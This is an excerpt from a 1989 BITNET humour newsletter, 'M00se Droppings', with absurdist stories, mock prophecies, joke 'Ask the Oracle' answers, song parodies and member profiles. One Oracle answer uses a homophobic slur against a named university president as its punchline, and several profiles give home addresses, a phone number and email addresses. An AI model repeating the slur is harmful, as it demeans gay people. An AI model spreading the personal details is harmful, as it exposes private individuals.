went to see Mr. Bullwinkle, who was a m00se. First, I asked him about the
name -- he's no relation to the famed m00se of cartoon fame, but does have
a pet iguana named Rocky.
At any rate, I thought it unusual that a m00se would be operating a car
lot. I asked him about his license. That is when I learned about how m00se
get their car lot licenses. The process is really quite simple (much
simpler than the process by which humans get one -- but that's another
story). A m00se must go to the "Building where Car Lot Licenses are Given
Out". (Aptly named because you couldn't get a license to sell iguana feed in
this building. The "Building where People, M00ses, and Bivalves get
licenses to sell, write about, or otherwise be associated with Iguana Feed,
is two blocks over. Needless to say, it is a very small building.)
When the m00se arrives at the proper building, he simply walks up to the
clerk, and asks for the license. Since a m00se cannot write too well, the
clerk simply asks if the m00se is, in fact, a m00se. If this can be
confirmed (a real m00se does NOT have `Made in Japan' on the antlers), the
m00se is issued a license.
NOTE: The next paragraph is part of `another story' but is included for
clarity.
Many humans, jealous of m00ses, try to get a car lot license by wearing a
m00se costume. This offense is now considered a felony, and is punishable by
being forced to watch all 97 Green Acres episodes with no commercials and
no breaks, followed by someone making a fart noise and pointing in the
direction of the felon.
Bullwinkle had the proper license, and no Made in Japan labels, so I
thought he was legitimate and went through with the deal. He said he didn't
have anything on the lot that was in my price range, but there was a nice
orange on green 53 St00debaker that he only wanted $9,799 for (price being
negotiable. I took a look.
The car was perfect! It was so old and out of style, it was just on the
verge of coming back. And it had a transmission. Wonderful gears and
clutches and valves. No more chains for me. I can tell you, I was in love.
The blue vinyl seats and gold fuzzy dice were the final touches. But I
couldn't afford the $9,799 price tag.
Brokenhearted (Gee. That reminds me of a cute saying I saw inscribed on the
bathroom wall of an Iguana feed factory bathroom, but that's a different
story.) But Back to the subject -- brokenhearted, I went home.
About two weeks after the initial stop, I was in a small bookstore near the
intersection of Iguana and Vole. Back on an shelf, obscured from light by
several large volumes on iguanas, was a book about m00ses, and how to bribe
them. I immediately bought it and went home.
I read that a m00se's favorite hobby is building tipping. They like to climb
the elevator shaft horizontally. But m00ses can barely afford the Union
Crew of building tippers required to do this on a regular basis. It is
therefore advantageous for any person dealing with a m00se to have
certificates for Building Tipping by a Union Crew around.
It must have been my lucky day, as I had seven(!) of them in my wallet. I
won them at an Iguana Feed Distributor's Convention in Deluth, and had no
use for them as I like to climb elevator shafts the regular way -- using a
metal box with aptly numerated buttons. So I hopped in my old truck and flew
(OK, I did 15, but I WANTED to fly) on down to Bullwinkle's place. I offered
the certificates to Bullwinkle if he could knock a few bucks off the price.
I figured he'd knock off four or five hundred.
Boy was I surprised when he said I could have the little gem for $73.
Seventy three bucks! So I got the car, and blew up my old truck with a
home-made concoction of sodium sumtinorotherate and Vaseline ignited by sugar
and baking soda (it really works, so be careful).
Immediately, I went down to the disco. I was cool. I was happy. I was just
getting to know a nice young lady of the opposite sex, when the building
was suddenly cleared by a Union Crew of Building Tippers. While tipping the
building, they accidentally dropped it on my St00debaker.
I thought I was gonna die. My car was ruined. The worst part is that
Bullwinkle was the m00se having the building tipped.
So I went home and had a martini, smoked a bong full of Fruit Loops, and
took three weeks off from work. While at home those three weeks, I ate only
freeze dried Iguana feed.
-- Chris M00spaw
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
Lord Trelf, the guy with the pen, is back! BL000p!
Report from the Lansing/Cornell by Lord Trelf.
During a heavy trance [read: scotch induced stupor] Lord Trelf was
granted a gift of foresight and was shown the future - as a matter of fact,
the time period shown was the last year of the Earth's existence. The
exact date is unknown, and all M00ses are warned to keep alert, and if
they see any of these signs, they are to immediately do anything in their
power to change the course of events - lest the world shall be destroyed
by pillars of flame and ice glaciers flung from the skies!!!!
January - Soviet Premier Uri Vodkadrinkski seen dancing naked through Gorki
Park. The USSR did nothing to cover this up, nor was Vodkadrinkski
apprehended. The next day he returned to his position, claiming to
have "...absolutely no knowledge of this ridiculous story! It is
a plot by Fidel Castro to discredit me. That petty little man has
been upset ever since I took Cuba away from him!" Premier
Vodkadrinkski then pulled off his shirt and proudly displayed
a tatoo of Mikhail Barishnikov with the popular "Ghostbusters"
logo superimposed over the famous ballet dancer.
Gun's-N-Roses lead singer Axle shot to death by a man who was
later identified to be none other than Elvis Presley. Mr. Presley
explained in a press release that he had faked his death to get
some peace and quiet and "...to try to forget those awful movies
I made." However, he could no longer take it when GNR released
their Twentieth album, which was a tribute to The King and
featured twelve covers of Elvis' most popular hits. "Hearin'
that stringy little punk singing 'Teddy Bear' just did something
to me," Elvis said. "May he and Priscilla burn in Hell."
February: The United Nations, NATO, the World Market, and every other
multinational organization were disbanded as Cher was elected
Supreme Empress of All. Cher, who has ordered that from now
on she be referred to as "The Dark Queen", decreed that all
former national rulers be put to death, that every religion be
disbanded, and that all regal gowns henceforth be made of
tinfoil. In a surprise move, she granted a complete pardon
to Elvis Presley, who was sentenced to death by the former
President of North America, President Mitchell Axle, who was
the father-in-law of late Guns-n-Roses lead singer Axle, who
Presley had shot a month ago. Presley was then named
"Consort to the Dark Queen" and took up residence with
Her Darkness.
Also suprising, pork bellies rose for the three-hundreth day in
a row, make it the highest-priced stock. It just barely edged out
the CleanWipe Corporation, the manufacturers of a Handi Wipe
that was used widely to clean up Exxon oil spills.
The events which took place in March and April will appear in the next issue
of M00se Dr0ppings. this has been Lord Trelf.
--------------------------------------------------------------------------------
******************************** ASK THE ORACLE ********************************
--------------------------------------------------------------------------------
More "Ask the Oracle" from Hal Eisen...
- - - - - - - - - - - - - - - - - - - - - - - - - - -
What are some nice things that you can do with a good pair of breasts?
The Oracle has answered your question as follows:
Broil them, sautee them, dice them into a salad, or just bake them
and eat them on sandwiches the next day.
Hey, what's so funny?
- - - - - - - - - - - - - - - - - - - - - - - - - -
Who's the leader of the club that's made for you and me?
And who's trying to depose him?
The Oracle has answered your question as follows:
Although we know the answer to the first part of your question is
"Mickey Mouse", it is a little known fact that the famous rodent has
indeed been under a number of attempts to overthrow his reign and
institute a secular democratic state in its place. The last failed
attempt was by a triumvirate consisting of Mighty Mouse, Dangermouse,
and the second of the three mice that ran up the clock. It involved
poisoned cheese and assault mousetraps and was finally foiled by a
friendly white rat working for racial harmony. It is also suspected
the CIA was involved.
- - - - - - - - - - - - - - - - - - - - - - - - - -
Talk dirty to me!!!
The Oracle has answered your question as follows:
muck, alluvia, mire, slush, silt, turbidity, stickiness, ooze, bog,
swamp, hardpan, percolation, viscidity, soup, axel, grease, filth,
dung, foulmatter, coprolite, guano, manure, slop, squaler, mud, grime,
smudge, offal, pus, dregs, and dirt will all be served for dinner tonight.
- - - - - - - - - - - - - - - - - - - - - - - - - -
How may we protect ourselves from the twin evils of mayo and tofu?
The Oracle has answered your question as follows:
The Oracle has gone to great lengths to answer this question, including
talking in a polite and friendly way to people he would normally commit
to the State Asylum on sight, and accordingly has learned from Those Who
Know (Or Say They Do) the precise astral relationships invoved here.
Because of this, I respectfully urge the esteemed questioner to listen
attentively, because he (or she; we do have some very sensitive females
on this machine) has become involved in some Heavy Doodoo.
Basically, you seem to have offended the Demigod of Infinite Blandness.
The Demigod of Infinite Blandness has become very touchy about his
reputation on Oracle, as several of his creations have been getting more
than the usual dirt. You have, apparently, aroused his anger. The DIB,
as we shall refer to him, does not dirty his own hands with the affairs
of mere mortals, but rather prefers to leave the job to his servants on
Earth. These are many; but those disciples of his which are most likely
to attack you in the near future are the following:
1) Mayo. Mayo is the Vice-Demigod of Infinite Blandness, and as such
merits first crack at you.
2) Tofu.
3) Steven Muller.
4) Polyethylene.
Muller is generally the active force involved in the liquidation, whereas
the other three are generally passive. For example, Muller would, at
midnight, his tan disguised by a healthy application of mayo, sneak into
your front yard, jimmy your lock with a polyethylene lockpick, slime his
way into your bedroom, and temporarily gag and bind you with polyethylene
rope until a Giant Blob of Mayo, which had, after the manner of a
monstrous albino slug, crept up after him through the open door and
managed to embalm you, leaving you mentally intact but physically
paralyzed. Then, like a demon out of some bizarre Biblical parable, he
would stone you to death with bricks of tofu. The methods of the Demigod
of Infinite Blandness are anything but dull. Therefore, though Muller
most likely would be the foot in the door that led the way for the other
Powers of Blandness, you must protect against all of them. My temporary
friends in the exorcism business told me how to do this:
1) Put a giant sign on your door, saying, "Welcome to Baltimore." This,
to mere bystanders in the Final Armageddon between Oracle and
Blandness, will appear innocuous, if a little bit weird. (However,
your later actions will even more further this side effect, so bear
with me.) Do the same to all the physical entrances to your house.
(Including chimney; Steve has been known to parachute down chimneys
when his master is especially outraged.) If he sees this sign, he will
immediately remember that he is in a city to which he only comes three
times a year (shaking hands with the freshmen, shaking hands with the
seniors, and tuition increases). To come here any other time would
blow his cover. He therefore will return to Bologna, while his Master
broods darkly.
2) The DIB will then probably try the mayo by itself. However, acting on
its own, Mayo can easily be repelled by anything culinarily opposite
to it. There are many such; my contacts in the Astral Underworld
suggested Tabasco sauce. Mix up a potion of Tabasco sauce, vinegar,
goat cheese, garlic, and any such substances. Smear it around all
entrances to your house. Leave a pot hanging over your door. (NOTE:
As well as an infallible charm against Mayo, this treatment also
removes minor infestations of neighbors, friends, and relatives.)
Carry a bottle of Tabasco sauce always with you for immediate self-
defence.
3) Stay well away from Oriental groceries, health food stores, Temples
of Blandness, Tofutti stands, and anything else you think may harbour
the dread scourge of Tofu. Tofu is not normally capable of motion on
its own, so no special safeguards on your dwelling are necessary.
However, beware of dull-looking strangers carrying grocery bags.
4) Remove anything or appliance containing polyethylene or other
suspicious plastics from your home. (Especially your telephone; many
have been strangled by the unsuspectedly animated products of the
American Telephone and Telegraph Co., which by the way is controlled
by the DIB.) If you cannot find a metal substitute and cannot do
without, at least plate it with cold iron.
Good Luck. Although this is only a minor skirmish in the Endless War
between Oracle and Blandness, I have been informed that the Demigod of
Oracle himself, who we will call by the codename of HJE, has taken an
interest in your case. Happy Dreaming, and don't let the MayoBugs bite!
- - - - - - - - - - - - - - - - - - - - - - - - - -
Want some fries with that? Anything else?
The Oracle has answered your question as follows:
Ketchup, salt, a chocolate shake, and a diploma. With cheese.
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
An ID from Bard..
Chapter Name: Stephanie Manke_____________________________________
Nickname(s): Bard, Bardwolf, whatever I feel like at the time____
Life Form: human -- I think____________________________________
Sex: Male ___ Female XXX Hermaphrodite ___ Other ___
(ok, so I had to give a straight answer at some point)
Net Address: 24945863@WSUVM1__ Purity Quotient: NOYB*__%
Description: tall(almost 6'), not so thin anymore(looked 1/2 ____
starved thru high school), straight brown hair,_____
green eyes(basically), semi-classy black wire-rim___
glasses most the times(also have contacts, which I
haven't been wearing) usually clad in a very bum-like
fashion -- sweats, sweatshirt, running shoes
Favourite Saying: "Beware the superfically profound"__________________
Other Stuff: I like animals(have 3 cats), computers, books, things
Celtic(esp music/tales), New Age music, fantasy/sf/_
books in general(oops, said that already), beaches__
forests, fires(but not forest fires), history, chess
RPGs, and several dozen etc's______A_________________
Things I Hate: CROWDS, most vegetables(esp cooked)
yapping dogs, irresponsible apartment-mates('tis a
long and sad tale) this, of course, is only a sample
* None of Your Business
--------------------------------------------------------------------------------
FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD
--------------------------------------------------------------------------------
Lord Trelf's ID...
Name: Frank J. Orzechowicz [sounds better in Polish]
Nicks: Lord Trelf, Wolverine, "That Son of a *****"
Net Address: TQMY@CRNLVAX5
Sex: Very infrequently {Male}
Purity Quotient: Very high {See heading titled "Sex"}
Favorite Saying: "Yo" {Old Philadelphia Greeting}
Most Frequently Said Line: "Yeah, I'm job hunting again."
Most Wished-To-Be-Heard Line: "*I* don't think you look like a Troll..."
Description: Six feet even, 240 pounds, former weight lifter. [None of the
definition I once had, but I could probably bench press you.]
Brown hair, brown mustache and beard with streaks of blond and
occasionally a gray hair or two {see heading titled "Most
Frequently Said Line"}. Enjoy attending Ren Faires, wenches who
attend Ren Faires {long story}, Pro Wrestling, reading, writing
{Still attempting to be a published author.}, listening to
"Flight of the Valkyrie" and "Toccata and Fugue in D Minor",
and killing fish with The Innkeeper and Spaceman Biff. [though
we've never managed to kill any this season, and I've never fished
with Biff, but hey, who's keeping a score card?????]
Least Favorite-Heard Saying: "Ya' know, you really DO look like a Troll...."
Thirty-First Favorite Saying: "EVIL pure and simple from the 8th Dimension!"
{Happy now Roo????}
Goals in Life: To become and published and wealthy author in the next few
years {so I never again have to say "Yeah, I'm job hunting
again."} To learn the meaning of life and to find the woman
of my dreams. {Preferably in the next two months.} And to
give George Michael a black eye.
The One Thing I'd Like To Tell You All: "Go get drunk."
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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #26| Disclaimer: The Editors will place almost anything | JUNE 2, 1989
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame them for the quality or content of the submissions.
Excepting those they may have written themselves, the enclosed items do not in
any way represent the Editors' opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
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**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
%$#& BEEP!
Greetings, as I sit here writing this editorial the alarm system here at
CTSTATEU has beeped 36443 times since Tuesday. Having technical difficulties
all week long..arrrrrrrrrg!!! Bet Batman wouldn't have to put up with this..
*grumble*.. Which, by the way, is what this editorial is really about. Salmon
and I were wondering how many M00ses around the CT. area are interested in
having a M00sey get-together and see BATMAN. If interested, send mail to
our Bitnet Addresses or call 224-7835. We can figure out arrangements and such
then.
- Goblin WITHALL@CTSTATEU (Bitnet)
- SalmonM00se LEE_JES@CTSTATEU (Bitnet)
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
Reports of a Mini-Thr0ng-A-Th0n taking place in Connecticut have been proven
true. Those of you interested contact WITHALL@CTSTATEU (Goblin).
- - - - - - - - - - - - - - - - - - - -
If interested in M00se Illuminati T-SHIRT's contact DICKSON@HARTFORD.
- - - - - - - - - - - - - - - - - - - -
May, 26 1989
My fellow m00ses,
Tomorrow, my brother (Scub) and I leave for England. We will be there for
two weeks, doing field research for our book, _M00ses_Abroad_. The work will
be very strenuous, and quite possibly dangerous, as there are many hostile
secret societies in Europe who would love to see the M00se Illuminati wiped
out.
We will attempt to follow up on the translation of the Pnakotic
Manuscripts, which ended so tragically (as reported in M00se Dropping several
issues back). In addition, we will be searching for the legendary M00sehenge--
the gigantic m00se shrine of which Stonehenge is rumoured to be a poor
imitation.
As we may never meet again, I wish to impart some wisdom before I go.
However, I haven't got any. So here is somebody else's:
I admit that I ain't no angel, I admit that I ain't no saint
I'm selfish and I'm cruel, but you're blind
If I exorcise my devils, well my angels may leave too
And when they leave, they're so hard to find
So please call me baby, wherever you are
It's too cold to be out walkin' the streets
We do crazy things when we're wounded, everyone's been insane
And I don't want you catchin' your death of cold out walkin' in the rain
-Tom Waits
Of course, Tom Waits also said:
Never trust a man in a blue trenchcoat,
Never drive a car when you're dead.
So maybe his wisdom isn't really worth that much. So let's try Elvis
Costello, who said that America is "a trick they do with mirrors and with
chemicals." Of course, Elm00se C0stell0 said it was "a trick they do with
m00ses and with assorted nutritious hostess products." Which is true? You
decide. On June 10, when I return, if I return, I will attempt to bring a
Eurom00sean point of view with me, so that we may perhaps see things more
clearly. Or less. Whichever is more desirable.
Fare thee well. I hate being watched and monitored. We can and will
police ourselves.
Pickle.
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
And now, the next installment of The Prophecies of the End of Time
by resident seer [read: Drunken Sot] Lord Trelf.
March:
While roaming the countryside of England, a small schoolboy
discovers the legendary sword Excalibur jutting out of a large stone.
Within a week millions of people are arriving in England attempting
to pull the sword from the stone and become King. Margaret Thatcher
commits suicide after failing miserably to pull the sword from
its resting place. Several professional wrestlers attempt, and
fail. Finally, one man does succeed in freeing the sword:
Richard Simmons. He declares himself King Richard of the
Low BodyFat Content and declares England and the rest of Great
Britain free of The Dark Queen's rule.
Cher, The Dark Queen, refuses to recognize King Richard's claim,
but does not wish to confront him immediately. Instead, she declares
England a penal colony and begins to deport criminals, the insane,
and elderly fat women to England.
Japanese computer designers created the first voice-activated
computer. The technology was stunning, but there were problems
due to the fact that the computers refused to work if not spoken
to in a polite, cultured tone. They absolutely refused to
cooperate with most civil servants, university students, or
office workers.
April:
King Richard gladly accepts those sent to his Kinda' New England,
and immediately begins to put them through extensive training
programs. In four week's time he has them whipped into shape
and forming a formidable army. It is suspected that he is
planning to to someday openly face The Dark Queen in battle.
Envoy Software has created a program which allows even the
most surly of users to use Japan's voice-activated computer,
The BabbleTalk 2000.
Pork bellies have begun to slide down in the market following
the accidental death of a five year old girl in Iowa. She fed
some of the pork bellies to her pet pig, who then became enraged
and chewed the girl to little tiny bits.
New Zealand was over-run by armies of sheep, who slaughtered
all humans on the small island and set up their own government.
King Richard announced he planned to send an army to reclaim
the province of Great Britain. It is rumored that The
Dark Queen was behind the attack.
That is all for now. I, the Seer, Lord Trelf, shall bring you the
dark tiding of May and June in the next issue.
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
Here are the words to the song "Them M00se G00sers", as I mentioned in an
earlier post. I taped it off the Dr. Demento show back in '82.
It's in 4. Stomp on 1 and 3, clap on 2 and 4.
"Them M00se G00sers"
How 'bout them m00se g00sers, ain't them cl00se
Up in them b00ndocks, g00sin' them m00se
G00sin' them huge m00se, g00sin' them tiny
G00sin' them medley m00se in they hiney
L00k at them m00se g00sers, ain't they dumb
Some use an umbrella, some use a thumb
Then up to sn00ze g00sers, sneakin' through the w00ds
Pokin' them sn00zy m00se in they g00ds
How to be a m00se g00ser? It'll turn ya puce!
Get your g00ser l00se and 'rouse a drowsy m00se!
(If you want to hear the tape, ask me and I can play it for ya.
I'm not sure on a few of the words, though.)
-B0B D0BBS M00SE
- - - - - - - - - - - - - - - - - - - - - - - - - - -
To All the M00se I've Loved Before
==================================
To all the m00se I've loved before,
who've wandered in and out my door,
I'm glad they came along,
I dedicate this song,
To all the m00se I've loved before.
To all the m00se who've cared for me,
who made me bellow with melody,
I'm glad they sang along,
I hereby leave this song,
To all the m00se who've cared for me.
To all the m00se who've kissed my nose,
who made me glance down at my toes,
I'm glad they glanced along,
I sanctify this song,
To all the m00se who've kissed my nose.
To all the m00se I've loved before,
who've trampled on and off my floor,
I'm glad they stomped along,
I dedicate this song,
To all the m00se I've loooooo-ved be-fooooooore!
BritM00se and Mel0dy the Musical M00se
--------------------------------------------------------------------------------
******************************** ASK THE ORACLE ********************************
--------------------------------------------------------------------------------
More "Ask the Oracle" from Hal Eisen...
- - - - - - - - - - - - - - - - - - - - - - - - - - -
What's the chemical symbol for granola? It must be an element, since
it's impossible to break down (especially with your teeth).
The Oracle has answered your question as follows:
Although granola does not break down with the teeth, it must be noted
that a megawatt CO2 laser will send little granola bits flying into the
nearest wall. The chemical symbol for granola varies with the brand, and
is usually listed (as per federal laws) on the label. The most common
formula is hexachlorodiphenylnitrotoluenatdekafluoromuraphosphobenzonitro-
chlorodipentaoxymegahydrousatamylpolypropoteflonatetriphosphopropylene.
Granola is best drank in a ten molar solution in milk.
- - - - - - - - - - - - - - - - - - - - - - - - - -
What is the meaning of life?
The Oracle has answered your question as follows:
(editor's note--you really thought a lot on this one, didn't you?)
The meaning of life is not something that can be easily expressed
in words. It must be experienced. I suggest the following steps.
1. Carve your initials in a large bowl of water. This should
help you understand that life is a temporary, transient thing.
It should also give you a keen grasp on futility.
2. Buy a Coke, or whatever soda you like, drink it, and then pretend
to continue drinking out of the can, even though there's nothing
left. If you are convincing, you are (to everyone else) functionally
equivalent to a person actually drinking Coke, and thus, according
to many philosophers, you are actually drinking Coke. This will either
make you realise how inane philosophers are or cause you to gain weight,
have lots of cavities, and disappear whenever not thinking, depending
on whether you fall for it.
3. Think about what it would be like to be a vegetarian who only
ate meat.
4. Repeat step 3, but this time pretend it's really deep instead of
just a stupid contradiction. These steps will illustrate the fine
line between something meaningful and something you shouldn't waste
your time doing. In this case it's the latter made meaningful by
your search for understanding. At least it tries.
5. Play Oracle some more. This won't help you with the meaning of
life, but it will amuse Hal, especially if you put some thought into
your answers. Or, dare I say it, your questions.
6. send money to Chad. This is very important.
7. Repeat step 6, until poverty prevents you. Then call Stacy.
8. Go to a meeting of the Hopkins Christian Fellowship. Or don't.
Personally, I wouldn't. It's up to you.
9. There is no step 9. If you haven't got it by now, face it, you're
like all the rest of us.
- - - - - - - - - - - - - - - - - - - - - - - - - -
Give 7 reasons why Steven Muller is REALLY resigning.
The Oracle has answered your question as follows:
(drumroll.....................)
Reason no. 10: There is NO reason no. 10 (hey, you only asked for
seven....)
for 9 and 8, see 10.
Reason no. 7: Muller is actually an alien sent to Earth to learn about
Hofstra. He just realised he's at the wrong school.
Reason no. 6: His doctor told him he has to stay out of the sun, and
he doesn't want to disappoint his "tan-fans," so he's going into hiding.
Reason no. 5: He's just going into hiding.
Reason no. 4: Reagan created a huge deficit and left office...monkey
see, monkey do.
Reason no. 3: He couldn't handle the guilt about APL.
REAL Reason no. 3: (I mean, you weren't going to buy the guilt bit,
were you?) He's tired of suffering biting sarcasm at the hands of
James Rosen.
Reason no. 2: He secretly believes he's the descendant of Ludwar
Gassergeth, and wants to bring Frivenmirk back to its former days
of glory.
Reason no. 1: He's a poofta.
- - - - - - - - - - - - - - - - - - - - - - - - - -
A black cat crossed my path the other day. What shall I do?
The Oracle has answered your question as follows:
There are several possible courses of action that I, the inphallible
Oracle (that is NOT a spelling error) believe you are worthy of hearing.
1: Cross its path. (the get-even method)
2: Cuss and spit. (the get-mad method)
3: Take solace in the company of a member of the opposite sex (or the
member of a member of the opposite sex if you are of that bent)
(the get-laid method)
4: Using time travel, erase the incident from your particular space-time
continuum by staying in bed that day. For advice on how to accomplish this plea
se refer to #3. (the get-back method)
5: Laugh it off! These superstitions are silly. (the get-real method)
6: Pillowcase Nightshade painted whisper (the get-surreal method)
goodnight!
- - - - - - - - - - - - - - - - - - - - - - - - - - -
Does the Oracle Master ever need appeasing, and if so, where do we send
donations, virgins, and sacrifices?
The Oracle has answered your question as follows:
Yes, the Oracle Master has quite the bizarre taste for
bimbos and various buxom serving wenches.
All one needs to do is take them into Rowland 205 and
throw them over the railing while chanting,
"ooooh oooooh Muller mania."
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
Chapter Name: John Doty
Thr0ng Name: Wesleyan U.
Nicknames: The Keeper, Far Voyager, Dotimonster, Sveyn Egilsson (SCA)
Lifeform: Human, mostly
Sex: M:XXX F:___ Hem:___ Oth:___
Net Address: JDOTY@WESLEYAN.BITNET Purity Quotient: 64.7% (247)
JDOTY@EAGLE.WESLEYAN.EDU 66.0% (400)
Tangible Addresses: 54 Home Ave, Middletown, CT "Where I Am"
3655 Anderson Creek Rd., Talent, OR "Where I Want to Be"
Description: 74 inch Biped, Medium Build, Dark hair (sometimes..."I'm in
disguise...this way no-one will recognize me") and perfect blue
eyes. Boyish good looks that last only several hours after shaving.
Scatian Device: Argent, 3 piles en point azure, a swan displayed sable.
Favourite Sayings: "Just crank the Volume to the Point of Pain. Why waste good
music on a Brain?" -Heavy Duty Rock and Roll - Spinal Tap
"Game over, Man!!" -Hudson, _Aliens_
"In Odin, we trust...all others pay in Rataan" - Kveldulf
Most seen Movies: 1.Star Wars Most Liked Movies: 1.Bladerunner
2.Bladerunner 2.Empire Strikes Back
(tie)2.Highlander 3.Raising Arizona
Musical Taste(?): Van Halen, Queen, Wynton Marsalis, Sting, Styx, Prince,
Journey, _Les Miserables_, DCI (spec. Velvet Knights,
Blue Devils), Paul Simon (w/ and w/o Art), G'n'R, Jethro
Tull, Billy Joel, and many more
Miscellaneous: Ex-Officio, Wes. U. Strategic Games Club, "The folks who brought
you ADVENTURE I - V"
RPGer (Champions, Traveller, M.E.R.P., AD&D {no, really})
Comic buyer (inc. LSH {DC} since 1977 {#224}, ugh)
Soccer addict (and, of course, Intramural Weekend Warrior)
Literate (barely) in Elvish (Quenya, Sindarin, Feanorian script)
Stick Jock, Armorer, Herald - SCA (Ulfgaard, Dragonship Haven)
Theater Major, class of '90, Acting (and hating it right now)
System Operator, Wes Comp Ctr.
Stuck in Middletown, CT all summer (call before you visit)
and Oregonian. (that's someone from Orygun, state #39)
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Chapter Name: Richard Willey
ThrOng Name: Wesleyan U.
Nicknames: The Duke of Chaos, Aegnor, Aggressor of the Faith,
Lord Hrothgar Hrolfsson (SCA)
Lifeform: Disputed Purity quotient: 26% (100)
Sex: M:XXX F:___ Hem:___ Oth:___ 37% (400)
Net Address: RWILLEY@WESLEYAN.BITNET
Tangible address: 54 Home Ave, Middletown CT. (this summer)
Bloomington Indiana (the next five years - aarrgggghh!!!!)
Description: perpetual 18 year old, "a kill crazed ferret", an econ god with
a lust for blood, 72 inches tall, devastatingly cute, brown hair,
hazel eyes, what a manical wood elf would want to look like.
Scatian device: Counter ermine, on a lozenge argent, a wolf's head sinister,
erased, sable, a chief indented argent.
Favorite sayings: "Let's kill them anyway" - Hrothgar
"People will give their lives for an idea if its very big
and they don't understand it well" - the Artifical Kid
"Make no small plans, they have no power to stir men's
blood" - Daniel Hudson Birnham
"Lord Willey would like a table for two for this friday
night" - Jennifer Minz (social secretary to "Lord Willey")
making reservations at Le Bec Fin wednesday night
Musical taste: the Art of Noise, Fleetwood Mac, Pyschedelic Furs, 'til Tuesday,
Miscellaneous: all time tunnel assassin champion, truly believes economics will
make to world a better place, Ninja high School Rocks, SCA stick
jock/wire weinie, Herbet Scoville Junior Peace Fellow, believes
squirrels are messengers God, ALWAYS in search of a Splash and
Bash.
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_ /\ _ _ /\ _
/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \
\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/
/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #27| Disclaimer: The Editors will place almost anything | June 19, 1989
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame them for the quality or content of the submissions.
Excepting those they may have written themselves, the enclosed items do not in
any way represent the Editors' opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Greetings,
Summer is truly here, and with it (as usual) is the age old question, "What
is there to do now?!?" To combat summer doldrums, here are some silly M00sey
things to do:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Drink papaya juice (for GypsyLynx)
Have a M00se Thr0ng-A-Thon
See Batman!!!!
Read the _Illuminatus!_ Trilogy
See Star Trek V
Eat Illuminati Bars
Eat Hostess Twinkies (not the Strawberry ones *blech*)
Go fishing (Spaceman Biff!)
Play the Illuminati game (a personal fav. of CTSTATEU)
Write articles for M00se Droppings
Read Ann Rice's Vampire books (very good and weird)
Visit Connecticut *grin* (plug)
Bl00p at Bavarians!
Plague Starfire!!! (send her E-mail, she loves it!)
Invite Strange M00ses to your neck of the woods..
Visit the Pink Iguana Tavern!
Have a Scamp sighting..
Send Pickle champagne :*)
Have a Lord Sabre sighting...
Write articles for M00se Droppings
Bl00p at tourists...
Visit Connecticut for a Mini-Thr0ng-A-Thon!
See Buckaroo Banzai for the 10th time!
Visit with your fellow M00ses!!
Write articles for M00se Droppings
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If you still can't think of anything to do...well, you can always send E-mail
to Starfire, just saying hello.... *evil grin*
- Goblin WITHALL@CTSTATEU (Bitnet)
- SalmonM00se LEE_JES@CTSTATEU (Bitnet)
Gee thanx Frank...it's been raining for the past three weeks now... glub glub..
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
We M00ses in CT are planning on making Batman the Movie a M00sey event! What
M00sey things are happening in the rest of the world? So far the Wesleyan
crowd, Trinity and Hartford are interested in attending. Batman is supposed to
be making his big debut on June 23! For info on meeting and etc..call me
(goblin) at 224-7835 or send E-Mail
- - - - - - - - - - - - - - - - - - - -
Reports of a Mini-Thr0ng-A-Th0n taking place in Connecticut have been proven
true. Those of you interested contact WITHALL@CTSTATEU (Goblin). The weekend
of the M-T-A-T is still in the air, help us to pick a weekend. We are still up
in the air about the place of gathering also..(sheesh what do we know?)
- - - - - - - - - - - - - - - - - - - -
If interested in M00se Illuminati T-SHIRT's contact DICKSON@HARTFORD.
- - - - - - - - - - - - - - - - - - - -
Reports of the state of Connecticut floating away are held to be rumors..
M00ses all over have started to pawn their very own Elvis Presley memorabilia,
to buy rubber m00se shaped rafts.
(For first class ARK tickets contact CLAFFEY_JOR@CTSTATEU)
- - - - - - - - - - - - - - - - - - - -
Stay tuned next issue for the adventures of SPLATMAN and the Boy Blunder!!
- - - - - - - - - - - - - - - - - - - -
There ain't no Thelma here!
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
More Zany songs from the M00sical M00ses..
CRAZY THR0NG, Vol. II
=====================
Fuzzy Gund the Archm00se
tramped into the room,
he said I have no commitment to this
